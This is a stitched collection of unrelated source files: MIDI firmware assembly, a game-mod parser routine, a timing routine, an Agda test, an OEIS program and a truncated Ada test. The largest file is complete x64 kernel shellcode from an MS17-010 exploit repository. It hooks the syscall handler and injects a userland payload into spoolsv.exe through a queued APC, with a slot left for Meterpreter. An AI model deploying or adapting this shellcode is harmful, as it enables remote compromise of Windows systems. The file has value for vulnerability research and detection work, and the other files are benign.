bcf STATE_FLAGS,1
; bcf STATE_FLAGS,2
goto process_inbound_midi_next
process_inbound_sysex_header
movfw INBOUND_BYTECOUNT
bnz pish_1
pish_0
; Header byte 0 = 00h
movf RX_MIDI_BYTE,f
bz pish_next
clrf INBOUND_STATUS
bcf STATE_FLAGS,0
goto process_inbound_midi_next
pish_1
movwf TEMP_IM
decfsz TEMP_IM,f
goto pish_2
; Header byte 1 = 01h
movlw 0x01
subwf RX_MIDI_BYTE,w
bz pish_next
clrf INBOUND_STATUS
bcf STATE_FLAGS,0
goto process_inbound_midi_next
pish_2
decfsz TEMP_IM,f
goto pish_3
; Header byte 2 = 5Dh
movlw 0x5D
subwf RX_MIDI_BYTE,w
bz pish_next
clrf INBOUND_STATUS
bcf STATE_FLAGS,0
goto process_inbound_midi_next
pish_3
decfsz TEMP_IM,f
goto pish_4
; Header byte 3 = 04h
movlw 0x04
subwf RX_MIDI_BYTE,w
bz pish_next
clrf INBOUND_STATUS
bcf STATE_FLAGS,0
goto process_inbound_midi_next
pish_4
decfsz TEMP_IM,f
goto pish_overflow
; Header now considered valid.
bsf STATE_FLAGS,1
; We might soon be interfering with some input processing
; STATE_FLAGS,2 will be cleared when a new input processing routine begins
bsf STATE_FLAGS,2
clrf INBOUND_BYTECOUNT
; prep the buffer so we can tell what parts were specified in this message
call wipe_sysex_buffer
; we just destroyed the analog rolling average stuff
bcf STATE_FLAGS,4
; This byte determines sysex message type.
movfw RX_MIDI_BYTE
movwf SYSEX_TYPE
; Make sure type is valid
movfw SYSEX_TYPE
sublw SYSEX_MAX_TYPE
bnc sysex_error
; Special case: 01h
; movfw SYSEX_TYPE
; sublw 0x01
; bnz process_inbound_midi_next
; bsf STATE_FLAGS,2
goto process_inbound_midi_next
pish_overflow
; should never execute here.
clrf INBOUND_STATUS
bcf STATE_FLAGS,0
goto process_inbound_midi_next
pish_next
incf INBOUND_BYTECOUNT,f
goto process_inbound_midi_next
process_inbound_data
; don't merge data if status was not recorded
movf INBOUND_STATUS,f
bz process_inbound_midi_next
; check for sysex status
movlw 0xF0
subwf INBOUND_STATUS,w
bz process_inbound_sysex_data
; determine how many data bytes have come through
; not the first (zero'th) data byte? merge.
movf INBOUND_BYTECOUNT,f
bnz process_inbound_data_merge
; first data byte, running status candidate? merge.
movfw INBOUND_STATUS
subwf OUTBOUND_STATUS,w
bz process_inbound_data_merge
process_inbound_data_restatus
; A locally generated message must have interrupted the inbound running status.
; ...so resend the inbound status before sending data.
movfw INBOUND_STATUS
movwf OUTBOUND_STATUS
movwf OUTBOUND_BYTE
pagesel send_midi_byte
call send_midi_byte
process_inbound_data_merge
; send the byte thru
movfw RX_MIDI_BYTE
movwf OUTBOUND_BYTE
pagesel send_midi_byte
call send_midi_byte
pagesel process_inbound_midi
; use bytecount & status to decide whether or not this message is complete.
incf INBOUND_BYTECOUNT,f
; if second data byte was just sent, then message is complete for sure.
btfsc INBOUND_BYTECOUNT,1
goto process_inbound_data_complete
; only one data byte has been sent. use status to check for completion.
; mask out the channel info
movfw INBOUND_STATUS
andlw B'11110000'
movwf TEMP_IM
; program change & channel pressure are the only one-data-byte messages.
sublw 0xC0
bz process_inbound_data_complete
movfw TEMP_IM
sublw 0xD0
bz process_inbound_data_complete
; message not complete.
bsf STATE_FLAGS,0
goto process_inbound_midi_next
process_inbound_data_complete
bcf STATE_FLAGS,0
clrf INBOUND_BYTECOUNT
goto process_inbound_midi_next
merge_inbound_byte
; send the real-time message on thru
movfw RX_MIDI_BYTE
movwf OUTBOUND_BYTE
pagesel send_midi_byte
call send_midi_byte
pagesel process_inbound_midi
goto process_inbound_midi_next
process_inbound_midi_next
decfsz RX_BUFFER_GAUGE,f
goto process_midi_byte
; buffer is empty.
; if inbound message not complete, wait for more data or a timeout.
process_inbound_midi_wait
btfss STATE_FLAGS,0
return
; btfsc RX_BUFFER_GAUGE,0
movfw RX_BUFFER_GAUGE
btfss STATUS,Z
goto process_midi_byte
goto process_inbound_midi_wait
; =================================
;
; Store bytes to incoming sysex buffer.
;
; TEMP_IM: byte address to store (0 to 191)
; RX_MIDI_BYTE: stored value direct from RX port.
;
; =================================
store_sysex_byte
; determine in which bank the byte will be stored.
movfw TEMP_IM
sublw D'63'
bc ssb_bank_a
movfw TEMP_IM
sublw D'127'
bc ssb_bank_b
movfw TEMP_IM
sublw D'191'
; if the address is too large, exit
btfss STATUS,C
return
ssb_bank_c
movlw D'128'
subwf TEMP_IM,w
addlw INCOMING_SYSEX_C
movwf FSR
bsf STATUS,IRP
movfw RX_MIDI_BYTE
movwf INDF
return
ssb_bank_b
movlw D'64'
subwf TEMP_IM,w
addlw INCOMING_SYSEX_B
movwf FSR
bsf STATUS,IRP
movfw RX_MIDI_BYTE
movwf INDF
return
ssb_bank_a
movfw TEMP_IM
addlw INCOMING_SYSEX_A
movwf FSR
bcf STATUS,IRP
movfw RX_MIDI_BYTE
movwf INDF
return
; =================================
;
; Store chunk to incoming sysex buffer.
; inputs:
; SYSEX_NN
; SYSEX_TT
; SYSEX_MM
; SYSEX_CH
; SYSEX_D0
; SYSEX_D1
;
; =================================
store_sysex_chunk
; determine the bank in which the chunk will be stored.
; if TT=1, add 24 to the "effective" output number
banksel SYSEX_NN
; clrf SYSEX_NN
; goto ssc_bank_a
movlw D'24'
btfsc SYSEX_TT,0
addwf SYSEX_NN,f
movfw SYSEX_NN
sublw D'15'
bc ssc_bank_a
movfw SYSEX_NN
sublw D'31'
bc ssc_bank_b
ssc_bank_c
movlw D'32'
subwf SYSEX_NN,w
movwf TEMP_IM
bsf STATUS,IRP
movlw INCOMING_SYSEX_C
goto ssc_transfer
ssc_bank_b
movlw D'16'
subwf SYSEX_NN,w
movwf TEMP_IM
bsf STATUS,IRP
movlw INCOMING_SYSEX_B
goto ssc_transfer
ssc_bank_a
movfw SYSEX_NN
movwf TEMP_IM
bcf STATUS,IRP
movlw INCOMING_SYSEX_A
ssc_transfer
addwf TEMP_IM,w
addwf TEMP_IM,w
addwf TEMP_IM,w
addwf TEMP_IM,w
movwf FSR
; mm
movfw SYSEX_MM
movwf INDF
incf FSR,f
; ch
movfw SYSEX_CH
movwf INDF
incf FSR,f
; d0
movfw SYSEX_D0
movwf INDF
incf FSR,f
; d1
movfw SYSEX_D1
movwf INDF
banksel PORTA
return
; =================================
;
; Fill the sysex buffer with null data
;
; =================================
; bank A
wipe_sysex_buffer
movlw INCOMING_SYSEX_A
movwf FSR
bcf STATUS,IRP
movlw D'64'
movwf TEMP_IM
movlw 0xFF
wipe_sysex_a
movwf INDF
incf FSR,f
decfsz TEMP_IM,f
goto wipe_sysex_a
; bank B
movlw INCOMING_SYSEX_B
movwf FSR
bsf STATUS,IRP
movlw D'64'
movwf TEMP_IM
movlw 0xFF
wipe_sysex_b
movwf INDF
incf FSR,f
decfsz TEMP_IM,f
goto wipe_sysex_b
; bank C
movlw INCOMING_SYSEX_C
movwf FSR
; bsf STATUS,IRP
movlw D'64'
movwf TEMP_IM
movlw 0xFF
wipe_sysex_c
movwf INDF
incf FSR,f
decfsz TEMP_IM,f
goto wipe_sysex_c
return
end
|
src/func/allowRedefine.asm | szapp/Ninja | 17 | 175979 | ; void __stdcall ninja_allowRedefine(zCParser *, char *)
; Decide if redefinition of symbol is allowed in current context
global ninja_allowRedefine
ninja_allowRedefine:
resetStackoffset
%assign var_total 0x14
%assign var_string -0x14 ; zString
%assign arg_1 +0x4 ; zCParser *
%assign arg_2 +0x8 ; char *
%assign arg_total 0x8
sub esp, var_total
pusha
xor ebx, ebx
mov ecx, [esp+stackoffset+arg_1]
mov esi, [ecx+zCParser_datsave_offset]
add esi, DWORD [zCParser__enableParsing] ; Check if wrapped by Ninja
mov eax, char_redefinedIdentifier
cmp ecx, 0x2A
jnz .createString
mov eax, NINJA_OVERWRITING
.createString:
push eax
lea ecx, [esp+stackoffset+var_string]
call zSTRING__zSTRING
addStack 4
push DWORD [esp+stackoffset+arg_2]
call zSTRING__operator_plusEq
addStack 4
cmp esi, 0x2A
jz .noteOnly
push ebx
push eax
mov ecx, [esp+stackoffset+arg_1]
call zCParser__Error
addStack 2*4
jmp .funcEnd
.noteOnly:
cmp BYTE [zERROR_zerr+0x20], 0x6 ; zerr.filter_level
jl .funcEnd
push char_line ; Add line in file for extra information
call zSTRING__operator_plusEq
addStack 4
sub esp, 0xC
mov ecx, esp
push eax
mov eax, [esp+stackoffset+arg_1]
mov eax, [eax+g1g2(0x10A4,0x20A4)] ; parser->line
push 0xA
push ecx
push eax
call _itoa
add esp, 0xC
pop ecx
push esp
call zSTRING__operator_plusEq
addStack 4
add esp, 0xC
push char_spaceClosingParanthesis
call zSTRING__operator_plusEq
addStack 4
push eax
call ninja_debugMessage
addStack 4
.funcEnd:
lea ecx, [esp+stackoffset+var_string]
call zSTRING___zSTRING
popa
add esp, var_total
ret arg_total
verifyStackoffset
|
payloads/x64/src/exploit/kernel.asm | khanhnnvn/MS17-010 | 2 | 3891 | <filename>payloads/x64/src/exploit/kernel.asm
;
; Windows x86/x64 Multi-Arch Kernel Ring 0 to Ring 3 via Queued APC Shellcode
;
; Author: <NAME> <<EMAIL>> (@zerosum0x0)
; Copyright: (c) 2017 RiskSense, Inc.
; Release: 04 May 2017
; License: Apache 2.0
; Build: nasm ./kernel.asm
; Acknowledgements: <NAME>, skape, Equation Group, Shadow Brokers
;
; Description:
; Injects an APC into a specified process. Once in userland, a new thread is
; created to host the main payload. Add whatever userland payload you want to
; the end, prepended with two bytes that equal the little endian size of your
; payload. The userland payload should detect arch if multi-arch is enabled.
; This payload is convenient, smaller or null-free payloads can be crafted
; using this as a base template.
;
; References:
; https://github.com/Risksense-Ops/MS17-010
; https://msdn.microsoft.com/en-us/library/9z1stfyw.aspx
; https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html
; https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/
; http://apexesnsyscalls.blogspot.com/2011/09/using-apcs-to-inject-your-dll.html
;
BITS 64
ORG 0
default rel
section .text
global payload_start
; options which have set values
%define PROCESS_HASH SPOOLSV_EXE_HASH ; the process to queue APC into
%define MAX_PID 0x10000
%define WINDOWS_BUILD 7601 ; offsets appear relatively stable
; options which can be enabled
%define USE_X86 ; x86 payload
%define USE_X64 ; x64 payload
%define STATIC_ETHREAD_DELTA ; use a pre-calculated ThreadListEntry
%define ERROR_CHECKS ; lessen chance of BSOD, but bigger size
%define SYSCALL_OVERWRITE ; to run at process IRQL in syscall
; %define CLEAR_DIRECTION_FLAG ; if cld should be run
; hashes for export directory lookups
LSASS_EXE_HASH equ 0x60795e4a ; hash("lsass.exe")
SPOOLSV_EXE_HASH equ 0xdd1f77bf ; hash("spoolsv.exe")
CREATETHREAD_HASH equ 0x221b4546 ; hash("CreateThread")
PSGETCURRENTPROCESS_HASH equ 0x6211725c ; hash("PsGetCurrentProcess")
PSLOOKUPPROCESSBYPROCESSID_HASH equ 0x4ba25566 ; hash("PsLookupProcessByProcessId")
PSGETPROCESSIMAGEFILENAME_HASH equ 0x2d726fa3 ; hash("PsGetProcessImageFileName")
PSGETTHREADTEB_HASH equ 0x9d364026 ; hash("PsGetThreadTeb")
KEGETCURRENTPROCESS_HASH equ 0x5e91685c ; hash("KeGetCurrentProcess")
KEGETCURRENTTHREAD_HASH equ 0x30a3ba7a ; hash("KeGetCurrentThread")
KEINITIALIZEAPC_HASH equ 0x4b55ceac ; hash("KeInitializeApc")
KEINSERTQUEUEAPC_HASH equ 0x9e093818 ; hash("KeInsertQueueApc")
KESTACKATTACHPROCESS_HASH equ 0xdc1124e5 ; hash("KeStackAttachProcess")
KEUNSTACKDETACHPROCESS_HASH equ 0x7db3b722 ; hash("KeUnstackDetachProcess")
ZWALLOCATEVIRTUALMEMORY_HASH equ 0xee0aca4b ; hash("ZwAllocateVirtualMemory")
EXALLOCATEPOOL_HASH equ 0x9150ac26 ; hash("ExAllocatePool")
OBDEREFERENCEOBJECT_HASH equ 0x854de20d ; hash("ObDereferenceObject")
KERNEL32_DLL_HASH equ 0x92af16da ; hash_U(L"kernel32.dll", len)
; offsets for opaque structures
%if WINDOWS_BUILD == 7601
EPROCESS_THREADLISTHEAD_BLINK_OFFSET equ 0x308
ETHREAD_ALERTABLE_OFFSET equ 0x4c
TEB_ACTIVATIONCONTEXTSTACKPOINTER_OFFSET equ 0x2c8 ; ActivationContextStackPointer : Ptr64 _ACTIVATION_CONTEXT_STACK
ETHREAD_THREADLISTENTRY_OFFSET equ 0x420 ; only used if STATIC_ETHREAD_DELTA defined
%endif
; now the shellcode begins
payload_start:
%ifdef SYSCALL_OVERWRITE
syscall_overwrite:
x64_syscall_overwrite:
mov ecx, 0xc0000082 ; IA32_LSTAR syscall MSR
rdmsr
;movabs rbx, 0xffffffffffd00ff8
db 0x48, 0xbb, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff
mov dword [rbx+0x4], edx ; save old syscall handler
mov dword [rbx], eax
lea rax, [rel x64_syscall_handler] ; load new syscall handler
mov rdx, rax
shr rdx, 0x20
wrmsr
ret
x64_syscall_handler:
swapgs
mov qword [gs:0x10], rsp
mov rsp, qword [gs:0x1a8]
push rax
push rbx
push rcx
push rdx
push rsi
push rdi
push rbp
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push 0x2b
push qword [gs:0x10]
push r11
push 0x33
push rcx
mov rcx, r10
sub rsp, 0x8
push rbp
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp+0xc0],rbx
mov qword [rbp+0xc8],rdi
mov qword [rbp+0xd0],rsi
;movabs rax, 0xffffffffffd00ff8
db 0x48, 0xa1, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff
mov rdx, rax
shr rdx, 0x20
xor rbx, rbx
dec ebx
and rax, rbx
mov ecx, 0xc0000082
wrmsr
sti
call x64_kernel_start
cli
mov rsp, qword [abs gs:0x1a8]
sub rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rbp
pop rdi
pop rsi
pop rdx
pop rcx
pop rbx
pop rax
mov rsp, qword [abs gs:0x10]
swapgs
jmp [0xffffffffffd00ff8]
; SYSCALL_OVERWRITE
%endif
x64_kernel_start:
; Some "globals", which should not be clobbered, these are also ABI non-volatile
; ----------------------------------------------
; r15 = ntoskrnl.exe base address (DOS MZ header)
; r14 = &x64_kernel_start
; r13 = PKAPC_STATE
; rbx = PID/PEPROCESS
; r12 = ThreadListEntry offset, later ETHREAD that is alertable
; rbp = current rsp
%ifdef CLEAR_DIRECTION_FLAG
cld
%endif
; we will restore non-volatile registers
push rsi ; save clobbered registers
push r15 ; r15 = ntoskernl.exe
push r14 ; r14 = &x64_kernel_start
push r13 ; r13 = PKAPC_STATE
push r12 ; r12 = ETHREAD/offsets
push rbx ; rbx = PID/EPROCESS
push rbp
mov rbp, rsp ; we'll use the base pointer
and sp, 0xFFF0 ; align stack to ABI boundary
sub rsp, 0x20 ; reserve shadow stack
lea r14, [rel x64_kernel_start] ; for use in pointers
; this stub loads ntoskrnl.exe into r15
x64_find_nt_idt:
mov r15, qword [gs:0x38] ; get IdtBase of KPCR
mov r15, qword [r15 + 0x4] ; get ISR address
shr r15, 0xc ; strip to page size
shl r15, 0xc
_x64_find_nt_idt_walk_page:
sub r15, 0x1000 ; walk along page size
mov rsi, qword [r15]
cmp si, 0x5a4d ; 'MZ' header
jne _x64_find_nt_idt_walk_page
; dynamically finds the offset to ETHREAD.ThreadListEntry
find_threadlistentry_offset:
%ifdef STATIC_ETHREAD_DELTA
mov r12, ETHREAD_THREADLISTENTRY_OFFSET
%else
mov r11d, PSGETCURRENTPROCESS_HASH
call x64_block_api_direct
mov rsi, rax
add rsi, EPROCESS_THREADLISTHEAD_BLINK_OFFSET ; PEPROCESS->ThreadListHead
mov r11d, KEGETCURRENTTHREAD_HASH
call x64_block_api_direct
mov rcx, rsi ; save ThreadListHead
_find_threadlistentry_offset_compare_threads:
cmp rax, rsi
ja _find_threadlistentry_offset_walk_threads
lea rdx, [rax + 0x500]
cmp rdx, rsi
jb _find_threadlistentry_offset_walk_threads
sub rsi, rax
jmp _find_threadlistentry_offset_calc_thread_exit
_find_threadlistentry_offset_walk_threads:
mov rsi, qword [rsi] ; move up the list entries
cmp rsi, rcx ; make sure we exit this loop at some point
jne _find_threadlistentry_offset_compare_threads
_find_threadlistentry_offset_calc_thread_exit:
mov r12, rsi
%endif
; now we need to find the EPROCESS to inject into
x64_find_process_name:
xor ebx, ebx
_x64_find_process_name_loop_pid:
mov ecx, ebx
add ecx, 0x4
%ifdef MAX_PID
cmp ecx, MAX_PID
jge x64_kernel_exit
%endif
mov rdx, r14 ; PEPROCESS*
mov ebx, ecx ; save current PID
; PsLookupProcessById(dwPID, &x64_kernel_start);
mov r11d, PSLOOKUPPROCESSBYPROCESSID_HASH
call x64_block_api_direct
test eax, eax ; see if STATUS_SUCCESS
jnz _x64_find_process_name_loop_pid
mov rcx, [r14] ; rcx = *PEPROCESS
; PsGetProcessImageFileName(*(&x64_kernel_start));
mov r11d, PSGETPROCESSIMAGEFILENAME_HASH
call x64_block_api_direct
mov rsi, rax
call x64_calc_hash
cmp r9d, PROCESS_HASH
jne _x64_find_process_name_loop_pid
x64_attach_process:
mov rbx, [r14] ; r14 = EPROCESS
lea r13, [r14 + 16]
mov rdx, r13 ; rdx = (PRKAPC_STATE)&x64_kernel_start + 16
mov rcx, rbx ; rcx = PEPROCESS
; KeStackAttachProcess(PEPROCESS, &x64_kernel_start + 16);
mov r11d, KESTACKATTACHPROCESS_HASH
call x64_block_api_direct
; ZwAllocateVirtualMemory
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; AllocationType
lea r9, [r14 + 8] ; r9 = pRegionSize
mov qword [r9], 0x1000 ; *pRegionSize = 0x1000
xor r8, r8 ; ZeroBits = 0
mov rdx, r14 ; rdx = BaseAddress
xor ecx, ecx
mov qword [rdx], rcx ; set *BaseAddress = NULL
not rcx ; rcx = 0xffffffffffffffff
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, 0x1000, 0x1000, 0x40);
mov r11d, ZWALLOCATEVIRTUALMEMORY_HASH
sub rsp, 0x20 ; we have to reserve new shadow stack
call x64_block_api_direct
%ifdef ERROR_CHECKS
test eax, eax
jnz x64_kernel_exit_cleanup
%endif
; rep movs kernel -> userland
x64_memcpy_userland_payload:
mov rdi, [r14]
lea rsi, [rel userland_start]
xor ecx, ecx
add cx, word [rel userland_payload_size] ; size of payload userland
add cx, userland_payload - userland_start ; size of our userland
rep movsb
; Teb loop to find an alertable thread
x64_find_alertable_thread:
mov rsi, rbx ; rsi = EPROCESS
add rsi, EPROCESS_THREADLISTHEAD_BLINK_OFFSET ; rsi = EPROCESS.ThreadListHead.Blink
mov rcx, rsi ; save the head pointer
_x64_find_alertable_thread_loop:
mov rdx, [rcx]
%ifdef ERROR_CHECKS
; todo: don't cmp on first element
; cmp rsi, rcx
; je x64_kernel_exit_cleanup
%endif
sub rdx, r12 ; sub offset
push rcx
push rdx
mov rcx, rdx
sub rsp, 0x20
mov r11d, PSGETTHREADTEB_HASH
call x64_block_api_direct
add rsp, 0x20
pop rdx
pop rcx
test rax, rax ; check if TEB is NULL
je _x64_find_alertable_thread_skip_next
mov rax, qword [rax + TEB_ACTIVATIONCONTEXTSTACKPOINTER_OFFSET]
test rax, rax
je _x64_find_alertable_thread_skip_next
add rdx, ETHREAD_ALERTABLE_OFFSET
mov eax, dword [rdx]
bt eax, 0x5
jb _x64_find_alertable_thread_found
_x64_find_alertable_thread_skip_next:
mov rcx, [rcx]
jmp _x64_find_alertable_thread_loop
_x64_find_alertable_thread_found:
sub rdx, ETHREAD_ALERTABLE_OFFSET
mov r12, rdx
x64_create_apc:
; ExAllocatePool(POOL_TYPE.NonPagedPool, 0x90);
xor edx, edx
add dl, 0x90
xor ecx, ecx
mov r11d, EXALLOCATEPOOL_HASH
call x64_block_api_direct
;mov r12, rax
;mov r11d, KEGETCURRENTTHREAD_HASH
;call x64_block_api_direct
; KeInitializeApc(rcx = apc,
; rdx = pThread,
; r8 = NULL = OriginalApcEnvironment,
; r9 = KernelApcRoutine,
; NULL,
; InjectionShellCode,
; 1 /* UserMode */,
; NULL /* Context */);
mov rcx, rax ; pool APC
lea r9, [rcx + 0x80] ; dummy kernel APC function
mov byte [r9], 0xc3 ; ret
mov rdx, r12 ; pThread;
mov r12, rax ; save APC
xor r8, r8 ; OriginalApcEnvironment = NULL
push r8 ; Context = NULL
push 0x1 ; UserMode
mov rax, [r14]
push rax ; userland shellcode
push r8 ; NULL
sub rsp, 0x20
mov r11d, KEINITIALIZEAPC_HASH
call x64_block_api_direct
; KeInsertQueueApc(pAPC, NULL, NULL, NULL);
xor edx, edx
push rdx
push rdx
pop r8
pop r9
mov rcx, r12
mov r11d, KEINSERTQUEUEAPC_HASH
call x64_block_api_direct
x64_kernel_exit_cleanup:
; KeUnstackDetachProcess(pApcState)
mov rcx, r13
mov r11d, KEUNSTACKDETACHPROCESS_HASH
call x64_block_api_direct
; ObDereferenceObject(PEPROCESS)
mov rcx, rbx
mov r11d, OBDEREFERENCEOBJECT_HASH
call x64_block_api_direct
x64_kernel_exit:
mov rsp, rbp ; fix stack
pop rbp
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rsi ; restore clobbered registers and return
ret
userland_start:
x64_userland_start:
jmp x64_userland_start_thread
; user and kernel mode re-use this code
x64_calc_hash:
xor r9, r9
_x64_calc_hash_loop:
xor eax, eax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
cmp al, 'a'
jl _x64_calc_hash_not_lowercase
sub al, 0x20 ; If so normalise to uppercase
_x64_calc_hash_not_lowercase:
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL to AH (\0)
jne _x64_calc_hash_loop
ret
x64_block_find_dll:
xor edx, edx
mov rdx, [gs:rdx + 96]
mov rdx, [rdx + 24] ; PEB->Ldr
mov rdx, [rdx + 32] ; InMemoryOrder list
_x64_block_find_dll_next_mod:
mov rdx, [rdx]
mov rsi, [rdx + 80] ; unicode string
movzx rcx, word [rdx + 74] ; rcx = len
xor r9d, r9d
_x64_block_find_dll_loop_mod_name:
xor eax, eax
lodsb
cmp al, 'a'
jl _x64_block_find_dll_not_lowercase
sub al, 0x20
_x64_block_find_dll_not_lowercase:
ror r9d, 13
add r9d, eax
loop _x64_block_find_dll_loop_mod_name
cmp r9d, r11d
jnz _x64_block_find_dll_next_mod
mov r15, [rdx + 32]
ret
x64_block_api_direct:
mov rax, r15 ; make copy of module
push r9 ; Save parameters
push r8
push rdx
push rcx
push rsi
mov rdx, rax
mov eax, dword [rdx+60] ; Get PE header e_lfanew
add rax, rdx
mov eax, dword [rax+136] ; Get export tables RVA
%ifdef ERROR_CHECKS
; test rax, rax ; EAT not found
; jz _block_api_not_found
%endif
add rax, rdx
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov r8d, dword [rax+32] ; FunctionNames
add r8, rdx
_x64_block_api_direct_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec rcx ; decrement NumberOfFunctions
mov esi, dword [r8+rcx*4] ; Get rva of next module name
add rsi, rdx ; Add the modules base address
call x64_calc_hash
cmp r9d, r11d ; Compare the hashes
jnz _x64_block_api_direct_get_next_func ; try the next function
_x64_block_api_direct_finish:
pop rax ; restore EAT
mov r8d, dword [rax+36]
add r8, rdx ; ordinate table virtual address
mov cx, [r8+2*rcx] ; desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx] ; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r11 ; pop ret addr
; sub rsp, 0x20 ; shadow space
push r11 ; push ret addr
jmp rax
x64_userland_start_thread:
push rsi
push r15
push rbp
mov rbp, rsp
sub rsp, 0x20
mov r11d, KERNEL32_DLL_HASH
call x64_block_find_dll
xor ecx, ecx
push rcx
push rcx
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
pop r9 ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr = &threadstart
pop rdx ; lpThreadAttributes = NULL
sub rsp, 0x20
mov r11d, CREATETHREAD_HASH ; hash("CreateThread")
call x64_block_api_direct ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL);
mov rsp, rbp
pop rbp
pop r15
pop rsi
ret
userland_payload_size:
db 0x01
db 0x00
userland_payload:
; insert userland payload here
; such as meterpreter
; or reflective dll with the metasploit MZ pre-stub
ret
|
src_main/base/include/chrono.x86-64.asm | ArcadiusGFN/SourceEngine2007 | 25 | 29322 |
.code
; u64 start_tsc()
start_tsc proc
; Warm up CPU instruction cache (3 times).
push rbx
cpuid ; clobber rax, rbx, rcx, rdx
rdtsc ; rdx has high part, rax has low part
shl rdx,20h ; rdx << 32
or rax,rdx ; rax = rdx << 32 | rax
pop rbx
push rbx
rdtscp ; rdx has high part, rax has low part
shl rdx,20h ; rdx << 32
or rax,rdx ; rax = rdx << 32 | rax
push rax ; rax has output TSC.
cpuid ; clobber rax, rbx, rcx, rdx
pop rax
pop rbx
push rbx
cpuid ; clobber rax, rbx, rcx, rdx
rdtsc ; rdx has high part, rax has low part
shl rdx,20h ; rdx << 32
or rax,rdx ; rax = rdx << 32 | rax
pop rbx
push rbx
rdtscp ; rdx has high part, rax has low part
shl rdx,20h ; rdx << 32
or rax,rdx ; rax = rdx << 32 | rax
push rax ; rax has output TSC.
cpuid ; clobber rax, rbx, rcx, rdx
pop rax
pop rbx
push rbx
cpuid ; clobber rax, rbx, rcx, rdx
rdtsc ; rdx has high part, rax has low part
shl rdx,20h ; rdx << 32
or rax,rdx ; rax = rdx << 32 | rax
pop rbx
push rbx
rdtscp ; rdx has high part, rax has low part
shl rdx,20h ; rdx << 32
or rax,rdx ; rax = rdx << 32 | rax
push rax ; rax has output TSC.
cpuid ; clobber rax, rbx, rcx, rdx
pop rax
pop rbx
; Measure.
push rbx
cpuid ; clobber rax, rbx, rcx, rdx
rdtsc ; rdx has high part, rax has low part
shl rdx,20h ; rdx << 32
or rax,rdx ; rax = rdx << 32 | rax
pop rbx
ret
start_tsc endp
; u64 end_tsc()
end_tsc proc
push rbx
rdtscp ; rdx has high part, rax has low part
shl rdx,20h ; rdx << 32
or rax,rdx ; rax = rdx << 32 | rax
push rax ; rax has output TSC.
cpuid ; clobber rax, rbx, rcx, rdx
pop rax
pop rbx
ret
end_tsc endp
end
|
test/Succeed/UnifyLiteral.agda | cruhland/agda | 1,989 | 2277 | <filename>test/Succeed/UnifyLiteral.agda
open import Agda.Builtin.Nat
open import Agda.Builtin.Equality
pathological : (e : 9999999999 ≡ 9999999999) → Set
pathological refl = Nat
|
programs/oeis/099/A099467.asm | karttu/loda | 0 | 92986 | <reponame>karttu/loda<filename>programs/oeis/099/A099467.asm
; A099467: a(1) = a(2) = 1; for n > 2, a(n) is the smallest number > a(n-1) which is not the sum of 2 consecutive elements of the sequence.
; 1,1,3,5,6,7,9,10,12,14,15,17,18,20,21,23,24,25,27,28,30,31,33,34,36,37,39,40,42,43,45,46,48,50,51,53,54,56,57,59,60,62,63,65,66,68,69,71,72,74,75,77,78,80,81,83,84,86,87,89,90,92,93,95,96,97,99,100,102,103,105,106,108,109,111,112,114,115,117,118,120,121,123,124,126,127,129,130,132,133,135,136,138,139,141,142,144,145,147,148,150,151,153,154,156,157,159,160,162,163,165,166,168,169,171,172,174,175,177,178,180,181,183,184,186,187,189,190,192,194,195,197,198,200,201,203,204,206,207,209,210,212,213,215,216,218,219,221,222,224,225,227,228,230,231,233,234,236,237,239,240,242,243,245,246,248,249,251,252,254,255,257,258,260,261,263,264,266,267,269,270,272,273,275,276,278,279,281,282,284,285,287,288,290,291,293,294,296,297,299,300,302,303,305,306,308,309,311,312,314,315,317,318,320,321,323,324,326,327,329,330,332,333,335,336,338,339,341,342,344,345,347,348,350,351,353,354,356,357,359,360,362,363,365,366,368,369,371,372,374
mov $2,$0
mov $4,$0
add $4,1
lpb $4,1
mov $0,$2
sub $4,1
sub $0,$4
sub $0,1
mov $3,$0
add $0,4
lpb $0,1
add $0,4
div $0,2
add $3,5
lpe
sub $3,1
mod $3,2
add $3,1
add $1,$3
lpe
|
regtests/util-serialize-tools-tests.adb | Letractively/ada-util | 60 | 26001 | <filename>regtests/util-serialize-tools-tests.adb
-----------------------------------------------------------------------
-- serialize-tools-tests -- Unit tests for serialization tools
-- Copyright (C) 2012 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Test_Caller;
with Util.Log.Loggers;
with Util.Beans.Objects;
package body Util.Serialize.Tools.Tests is
use Util.Log;
-- The logger
Log : constant Loggers.Logger := Loggers.Create ("Util.Processes.Tests");
package Caller is new Util.Test_Caller (Test, "Serialize.Tools");
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test Util.Serialize.Tools.To_JSON",
Test_To_JSON'Access);
Caller.Add_Test (Suite, "Test Util.Serialize.Tools.From_JSON",
Test_From_JSON'Access);
